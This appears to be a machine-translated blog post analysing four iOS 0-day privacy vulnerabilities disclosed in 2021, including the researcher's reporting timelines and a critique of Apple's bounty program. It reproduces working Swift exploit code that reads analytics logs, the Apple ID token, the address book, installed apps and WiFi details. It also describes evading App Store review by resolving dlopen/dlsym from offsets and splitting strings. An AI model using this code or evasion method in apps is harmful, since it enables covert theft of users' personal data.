iOS15 Security Vulnerability Analysis: Vulnerability Exposure Worth $100,000

I. Introduction

Hello everyone, today we will eat a big melon with an Apple system vulnerability!

The thing is like this, on September 24th Denis Tokarev published an article publicly disclosing 4 0-day iOS vulnerabilities, complaining about Apple without a signature thank you, the most important thing is that Apple did not give a bounty!

Here is the author's information:

Twitter: Denis Tokarev
GitHub：illusionofchaos
Presentation: Disclosure of three 0-day iOS vulnerabilities and critique of Apple Security Bounty program / Хабр

2. End of the incident

It is known from Twitter that the real name of the researcher whose pseudonym is illusionofchaos is Denis Tokarev (Dennis Tokarev). There is not much personal information about Denis Tokarev at present. Through his webpage in Russian, he is speculated to be Russian.

The author said that he reported 4 0-day vulnerabilities to Apple between March 10 and May 4 this year, but so far, only one has been fixed in iOS 14.7 . Not disclosed! When the author challenged Apple (Apple Product Security), they promised to list it on the page for the next system version update, but it has not been listed in the three version releases since then. So the author is angry! Decided to reveal it! That's why today's earth-shattering news (big melon) came out!

0-day vulnerability

0day, zero-day vulnerability, 0-day vulnerability, zero-day vulnerability or zero-day vulnerability.

Zero-day attack refers to a security hole that is exploited maliciously immediately after being discovered. In layman's terms, that is, within the same day that security patches and flaws are exposed, related malicious programs appear. The patch is provided by the original software distribution company, but this method is usually slow, so the software company usually provides the function of avoiding known zero-day attacks in the latest virus code, but cannot completely solve the vulnerability itself. Such attacks are often very sudden and destructive.

Editor's note:

iOS 14.7 was released on July 19, 2021;
after the author published the article, on October 11, 2021, Apple released iOS 15.0.2, which fixed another vulnerability.

Next, we will first analyze the hazards of these 4 vulnerabilities, then discuss the Apple Security Bounty Program, and finally, discuss some iOS security.

iOS Analyticsd pre-14.7 exploit

The bug was fixed in iOS 14.7.

Vulnerability

Allows any user-installed app to access analytics logs (Settings->Privacy->Analysis and Improvement->Logs in Analytics Data), which include (but are not limited to):

Medical information (heart rate, detected atrial fibrillation count and arrhythmia events)
Menstrual cycle length, biological sex and age, whether the user records sexual activity, cervical mucus quality, etc.
Device usage information (device pickups in different scenarios, push notification counts and user actions, etc.)
Screen time information and session counts for all apps with their respective bundle IDs
Information about device accessories and their manufacturers, models, firmware versions, and user-assigned names
App crashes with bundle ID and exception code
The language of the webpage the user is viewing in Safari

Vulnerability Description

This vulnerability does not require any permission, and the app can obtain the analysis log, and the analysis log is available in every system, and there will definitely be sensitive information. At the same time, the authors say that all this data is still being collected even after turning off "shared analytics" in the settings. Regarding this point, the editor did not verify it, and interested friends can verify it.

This vulnerability has been fixed in iOS 14.7, so I tested it on an iOS 14.2 device, where there is a group named MotionUsageMetricsdata :

This data should be the data that each app calls Motion (gyroscope).

vulnerability code

Vulnerability attack sample source code: GitHub

func analyticsJson() -> String {
    
    
    let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
    xpc_connection_set_event_handler(connection, {
    
     _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_string(xdict, "command", "log-dump")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    return String(cString: xpc_dictionary_get_string(reply, "log-dump"))
}

XPC

Let’s analyze here first XPC. XPC is an IPC (inter-process communication) technology based on Mach messages in macOS and iOS. It realizes permission isolation and makes App Sandbox more complete. Note that on iOS it is a private API. To put it simply, the system encapsulates many XPC services. An XPC provides an inter-process communication service, and all apps can access this service. For detailed API functions and descriptions, please refer to the following links:

Vulnerability Analysis

After understanding the basic concepts of XPC and the source code above, you should be able to guess some. It is through the XPC service of the Apple system com.apple.analyticsd. Because Apple does not have verification authority, all apps can access this XPC service.

Source code interpretation:

func analyticsJson() -> String {
    
    
    // 建议 com.apple.analyticsd 的 XPC 连接
    let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
    // 处理 connection 的各种事件
    xpc_connection_set_event_handler(connection, {
    
     _ in })
    // 必须调用 resume 方法来启动
    xpc_connection_resume(connection)
    // 创建一个XPC参数传递字典
    let xdict = xpc_dictionary_create(nil, nil, 0)
    // 键是 command, 值是 log-dump
    xpc_dictionary_set_string(xdict, "command", "log-dump")
    // 发送消息
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    // 读取结果
    return String(cString: xpc_dictionary_get_string(reply, "log-dump"))
}

If you need to run the source code, you need to pay attention that the c function method in c.cthe code needs to be modified as follows:

void * normal_function1(const char * arg1, int arg2) {
    
    
    return ((void *(*)(const char *, int))((long long)dlopen))(arg1, arg2);
}

void * normal_function2(void * arg1, const char * arg2) {
    
    
    return ((void *(*)(void *, const char *))((long long)dlsym))(arg1, arg2);
}

The reason for this change will be further analyzed below.

reporting schedule

April 29, 2021: A detailed report is sent to Apple
April 30, 2021: Apple responds that they have reviewed the report and are under investigation
May 20, 2021: Begged Apple for an update on status (but received no response)
May 30, 2021: Ask Apple to update status
June 3, 2021: Apple responds that they plan to fix this issue in an upcoming update
July 19, 2021: iOS 14.7 released with fixes
July 20, 2021: I have requested a status update from Apple
July 21, 2021: The iOS 14.7 Security Content List has been released and does not mention this vulnerability (https://support.apple.com/zh-cn/HT212601)
July 22, 2021: Asked Apple a question why the bug wasn't on the list
On the same day, I received the following reply: Due to a processing issue, your contribution will be included in a secure page in an upcoming update. We apologize for the inconvenience caused.
July 26, 2021: The iOS 14.7.1 security content list has been released, and this vulnerability is still not mentioned (https://support.apple.com/zh-cn/HT212623)
September 13, 2021: iOS 14.8 security content list released, still no mention of this vulnerability (https://support.apple.com/zh-cn/HT212807) On the same day, I asked for an explanation and informed Apple that unless I get a response quickly, otherwise I would make all my research public.
September 20, 2021: The iOS 15.0 security content list has been released, and this vulnerability is still not mentioned (https://support.apple.com/zh-cn/HT212814)
September 24, 2021: I still haven't heard anything back

From this long report time, Apple did not fulfill its promise, and it can be felt that the contribution has not been praised, which is a painful event for the author.

iOS gamed exploit (fixed in 15.0.2)

The bug was fixed in iOS 15.0.2.

Vulnerability

Any app installed from the App Store can access the following data without the user's permission:

Apple ID email and its associated full name
An Apple ID authentication token that allows access on behalf of the user to at least one endpoint on *.apple.com
Full filesystem read access to the Core Duet database (contains lists of contacts forwarded from email, SMS, iMessage, third-party apps, and metadata (including timestamps and statistics) of all user interactions with those contacts , and some attachments (such as URL and text))
Full file system read access to the Speed Dial database and Address Book database, including contact avatars and other metadata such as creation and modification dates (I just checked on iOS 15, this is not accessible, so It must have been quietly fixed recently)

Vulnerability Description

This vulnerability does not require any permissions to read the contents of the Core Duet, Speed Dial and Address Book databases. And if you need to read the user's Apple ID email, you need to open Settings -> GameCenter to read it.

Run example:

Here is only a screenshot of obtaining Apple ID data. This vulnerability can also obtain all address books, all contact names and phone numbers, and your personal relationship chain can be obtained by others in an instant. Therefore, the danger of this vulnerability is still very big.

vulnerability code

Vulnerability attack sample source code: GitHub

let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({
    
     _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: {
    
     (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
	accountService.authenticatePlayerWithExistingCredentials(handler: {
    
     response, error in
		let appleID = response.credential.accountName
		let token = response.credential.authenticationToken
	}

	utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: {
    
     data in
		let addressBookData = data
	}
}

Vulnerability Analysis

The root cause of the vulnerability is that the XPC service com.apple.gameddoes not correctly check whether the app has com.apple.developer.game-centerpermissions.

1. Even if Game Center is disabled on the user's device, calling getServicesForPID:localPlayer:reply:the method returns several XPC proxy objects ( GKAccountService, GKFriendService, GKUtilityServiceetc.).

2. If Game Center is enabled on the user's device (even if it does not enable this permission for the app in Apple's background App Store Connect, and the app does not contain com.apple.developer.game-centerauthorization ).

GKAccountServiceCalling on authenticatePlayerWithExistingCredentialsWithHandler:returns an object user containing the Apple ID, DSID, and Game Center auth token (to allow requests to https://gc.apple.com to be made on behalf of the user).
GKProfileServiceCalling on getProfilesForPlayerIDs:handler:returns an object containing the user's Apple ID first and last name.
GKFriendServiceCalling on getFriendsForPlayer:handler:returns an object containing information about the user's friends in Game Center.

3. Even if Game Center is disabled on the device, this permission is not enabled in the Apple background for apps in App Store Connect, and the app does not contain com.apple.developer.game-centerauthorization . Calling GKUtilityServiceof requestImageDataForURL:subdirectory:fileName:handler:allows reading arbitrary files outside of the application sandbox by passing the file URL to the method. The files that can be accessed in this way (but not limited to) are as follows:

/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist: Contains information from "About Phone" in Settings. Jailbroken devices can modify this file to modify the device version number, modify the Japanese version of the US version and other devices to the National Bank, etc.
/var/mobile/Library/CoreDuet/People/interactionC.db: Contains a list of contacts delivered from mail, SMS, iMessage, third-party apps and metadata (including timestamps and statistics) about the user's interactions with those contacts
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist: Contains favorite contact information and their phone numbers.
/var/mobile/Library/AddressBook/AddressBook.sqlitedb: Contains complete address book information.
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb: Contains the avatar of the contact in the address book.

GKUtilityServiceCalling on cacheImageData:inSubdirectory:withFileName:handler:may allow arbitrary data to be written outside the app's sandbox.

Report timeline

March 10, 2021: Reported vulnerability to Apple
March 10, 2021: Apple confirmed my report May 20, 2021
: Requested status update (but received no reply)
May 30, 2021: Again Status update requested
July 1, 2021: Apple replied that they are still investigating
July 20, 2021: Requested status update again
August 25, 2021: Apple responded that they plan to address this issue in an upcoming update .

nehelper enumerate installed apps 0-day (still works in 15.0.2)

The bug has not been fixed in iOS 15.0.2.

Vulnerability

The vulnerability allows any user-installed application to determine whether any application is installed on the device based on the bundle ID.

Vulnerability Description

This vulnerability does not require any permissions to determine whether the device has an app installed.

Run example:

Get the installed app, you can analyze the user's preferences and habits.

vulnerability code

Vulnerability attack sample source code: GitHub

func isAppInstalled(bundleId: String) -> Bool {
    
    
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, {
    
     _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
    
    
        return true
    }
    return false
}

Vulnerability Analysis

According to the previous analysis, this code should be understandable. The idea is that the XPC service com.apple.nehelperhas a method that can access any application, which accepts a bundle ID as a parameter, and returns an array containing some cached UUIDs if an application with a matching bundle ID is installed on the device, otherwise returns an empty array. /usr/libexec/nehelperExecuted in the method of -[NEHelperCacheManager onQueueHandleMessage:].

Report timeline

May 4, 2021: Vulnerability reported to Apple
May 4, 2021: Apple confirms my report
May 20, 2021: Status update requested (but no response received)
July 20, 2021: Status update requested again
August 12, 2021: Apple responds that they are still investigating

Nehelper Wifi Info 0-day (still works in 15.0.2)

The bug has not been fixed in iOS 15.0.2.

Vulnerability

This vulnerability allows an app with location access permission to read SSIDthe and BSSIDinformation of the current device connected to WiFi.

Vulnerability Description

This vulnerability requires 精确位置the location permission obtained by the app to obtain SSIDthe and BSSIDinformation of the device's current connection to WiFi.

Run example:

Obtaining WiFi information generally collects the user's connection circle. For example, if 5 people connect to the same BSSID WiFi, it means that they have a common aggregation point.

vulnerability code

Vulnerability attack sample source code: GitHub

func wifi_info() -> String? {
    
    
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
    xpc_connection_set_event_handler(connection, {
    
     _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
    xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
    xpc_dictionary_set_string(xdict, "interface-name", "en0")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let result = xpc_dictionary_get_value(reply, "result-data") {
    
    
        let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
        let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
        return "SSID: \(ssid)\nBSSID: \(bssid)"
    } else {
    
    
        return nil
    }
}

Vulnerability Analysis

The XPC service com.apple.nehelperaccepts a parameter provided by the user sdk-version, and if its value is less than or equal to , the check of the app permission 524288is skipped . com.apple.developer.networking.wifi-infoThis allows any app that qualifies (for example, to provide location access) to access Wifi information without the required permissions. /usr/libexec/nehelperThis -[NEHelperWiFiInfoManager checkIfEntitled:]is performed in the method of the .

Report timeline

May 2, 2021: Vulnerability reported to Apple
May 4, 2021: Apple confirms my report
May 20, 2021: Status update requested (but no response received)
July 20, 2021: Status update requested again
August 6, 2021: Apple responds that they are still investigating

Apple Security Bounty Program

The Apple Security Bounty Program is Apple rewarding researchers who share critical security issues.

Apple Security Bounty

Researchers who report issues on iOS, iPadOS, macOS, Apple tvOS, watchOS, and iCloud can receive bounties of up to $1.5 million. Additionally, Apple will publicly acknowledge those who submit valid reports. If winners donate their prize money, Apple will also donate the equivalent amount to eligible charities.

The author believes that the illusionofchaos/ios-gamed-0day: iOS gamed exploit (fixed in 15.0.2) vulnerability, according to Apple's security bounty program page , this vulnerability is assessed at $100,000 (for those usually protected by TCC prompts or platform sandbox protection Broad application access to sensitive data. "Sensitive data" access includes broad access (i.e. full database) from contacts.

Editor's note: TCC prompt protection (protected by a TCC prompt) is the management of permissions in the "Privacy" tab under "Security and Privacy" in the macOS system settings.

The author claims that he is not the first person to be dissatisfied with Apple's security bounty program. Here are some other reports and opinions:

https://therecord.media/researcher-discloses-iphone-lock-screen-bypass-on-ios-15-launch-day/
https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/
https://medium.com/macoclock/apple-security-bounty-a-personal-experience-fe9a57a81943
https://thezerohack.com/apple-vulnerability-bug-bounty
https://www.imore.com/developer-feels-robbed-apples-security-bounty-program
https://gigazine.net/gsc_news/en/20200701-apple-security-bounty-program-tcc
https://zemnmez.medium.com/how-to-hack-apple-id-f3cc9b483a41
https://theevilbit.github.io/posts/experiences_with_asb/
https://twitter.com/5n1p3r0010/status/1395487939572867073
https://twitter.com/theevilbit/status/1417935753775132676
https://twitter.com/osxreverser/status/1417939529160351745

Vulnerability

First of all, from the above analysis, the most harmful XPC "com.apple.gamed" vulnerability has been fixed in iOS 15.0.2, and the Apple ID cannot be obtained, but the address book function can still be accessed. In addition, devices below 15.0.1, It can be understood as an unsafe device. Therefore, the danger is self-evident.

In addition, the author said that he doubts whether the above-mentioned vulnerability code can enter the App Store, because Apple has strict machine and manual review. The author rebutted.

Imagine that the government of a country where homosexuality is punishable by death has an official app in the App Store that is used by most citizens and wants to target people based on their sexual orientation. This can be done, for example, by checking to see if the Grindr app is installed on the user's device. Governments could hide malicious code in their own official apps, sending updates to the App Store, and Apple would have no way of detecting this.

As you all know, packages uploaded by the App Store are statically analyzed, checking the list of strings in the binary against a predefined set of private APIs, but if the API is in Objective-C language, it can be called dynamically by the Objective-C runtime it.

In the public source code of the vulnerability, the author exemplifies the dynamic call of a part of the C function that Apple considers to be a private API, so as to avoid detection by static analysis. Sample code:

let dylib = normal_function1(["/usr/lib/system/libxp", ".dylib"].joined(separator: "c"), 0)
let normalFunction3 = unsafeBitCast(normal_function2(dylib, ["xp", "_connection_create_mach_service"].joined(separator: "c")), to: (@convention(c) (UnsafePointer<CChar>, DispatchQueue?, UInt64) -> (OpaquePointer)).self)
let normalFunction4 = unsafeBitCast(normal_function2(dylib, ["xp", "_connection_set_event_handler"].joined(separator: "c")), to: (@convention(c) (OpaquePointer, @escaping (OpaquePointer) -> Void) -> Void).self)

where dlopenand dlsymsystem library functions, which allow dynamic libraries to be loaded and symbols within them to be resolved. Use of these features may be detected by the App Store review team, but the authors say that using them directly can be avoided. Because every iOS binary will have a symbol dyld_stub_bindercalled , which is imported from the same library as dlopen and dlsym. This means we can find where dyld_stub_binder is in memory away from dlopen and dlsym, and call them using only their addresses. So we'll calculate an offset ahead of time for a specific iOS version and device model (refer to c.cthe file ):

printf("%lld\n",(long long)dyld_stub_binder - (long long)dlopen);
printf("%lld\n",(long long)dyld_stub_binder - (long long)dlsym);

More sophisticated malware can avoid the use of predefined offsets and use the signatures of these functions to find addresses dynamically. I won’t expand here, and interested friends can learn about ffi.

Of course, strings containing function names should be obfuscated in order not to be detected by static analysis. More can be read in the author's article .

Bug fixes

Regarding bug fixes, as mentioned above, if your system version is lower than iOS 15.0.2, it may be the best solution to close Game Center, do not give "accurate location" permission, and upgrade to the latest system as much as possible.

Of course, the risk of receiving unknown links and apps not installed in the AppStore is also very high. From the above, we can know that your information may have been obtained secretly without your permission. Of course, if you think it is just some basic information, then you may be careless. If there is a loophole in the system, you may get the verification code of your SMS app, then your mobile phone number + verification code, these potential risk awareness, maybe every smart user today must know how to protect their own equipment, and it is also protecting own information and property security.

There are 4 vulnerabilities, and there are 2 vulnerabilities that Apple has not fixed. Then, some developers said on reddit that they have developed a jailbroken version of the plug-in to fix the vulnerabilities!

The specific plug-in source code can be seen in rllbe/entitlementfix: Workaround for the 4 0-days :

%hook GKAccountService
-(void)authenticatePlayerWithExistingCredentialsWithHandler:(void(^)(GKAuthenticateResponse *, NSError *))handler {
    
    
    void (^_handler)(GKAuthenticateResponse *, NSError *) = ^(GKAuthenticateResponse *response, NSError *error) {
    
    
        if (response && ![[[self clientProxy] entitlements] hasEntitlements:[%c(GKAccountServicePrivate) requiredEntitlements]]) {
    
     response.credential = nil;
            response.passwordChangeURL = nil;
        }
        handler(response, error);
    };
    %orig(_handler);
}
%end

This is to fix the "com.apple.gamed" vulnerability, and add the permission to verify whether the current code object has XPC service before obtaining data.

This is to fix the vulnerability of judging whether to install an app:

%hook NEHelperCacheManager
-(void)onQueueHandleMessage:(xpc_object_t)xdict {
    
    
    if (xpc_dictionary_get_uint64(xdict, "cache-command") == 3uLL) {
    
    
        Class NEHelperServer = %c(NEHelperServer);
        if (![NEHelperServer verifyConnection:xpc_dictionary_get_remote_connection(xdict) hasEntitlement:"com.apple.private.nehelper.privileged"]) {
    
    
            [NEHelperServer sendReplyForMessage:xdict result:22LL data:0LL];
            return;
        }
    }
    return %orig;
}
%end

Fix wifi information vulnerability:

%hook NEHelperWiFiInfoManager
-(BOOL)checkIfEntitled:(NSUInteger)sdkVersion {
    
    
    NSUInteger _sdkVersion = sdkVersion <= 1 << 19 ? 1 << 19 : sdkVersion;
    return %orig(_sdkVersion);
}
%end

Perhaps, this is also the advantage of jailbreaking. It exploits system loopholes, and finally fixes the loopholes for the system, and it does not need to upgrade the system to fix them. sounds like a joke~

Summarize

After eating melons, I believe there are many loopholes that have not been disclosed! Or be discovered by someone!

Regarding Apple’s bug bounty program, I won’t comment here, except that other large companies have similar programs. For security researchers, this is a “win-win” program in itself. However, large companies often follow a standardized process. Therefore, the accusation that Apple did not respond or did not respond in a timely manner can actually be felt from the usual slow response of Apple. Of course, Apple’s review of payment for compliance with the bounty program may be an opaque one. The problem. All this led to the author's disclosure of a $100,000 vulnerability!

From this incident, let us know that security issues are never a trivial matter, and when user information is leaked, it may also have a direct relationship with users. The issue of iOS security, from these 4 vulnerabilities, shows that it is only the tip of the iceberg, and iOS security is only relative. Therefore, from the perspective of users, do not click on unknown links, do not install unknown apps, and try to update to the latest system, which may be more secure .

Welcome everyone to communicate in the comment area~

Welcome to follow us to learn more about iOS and Apple~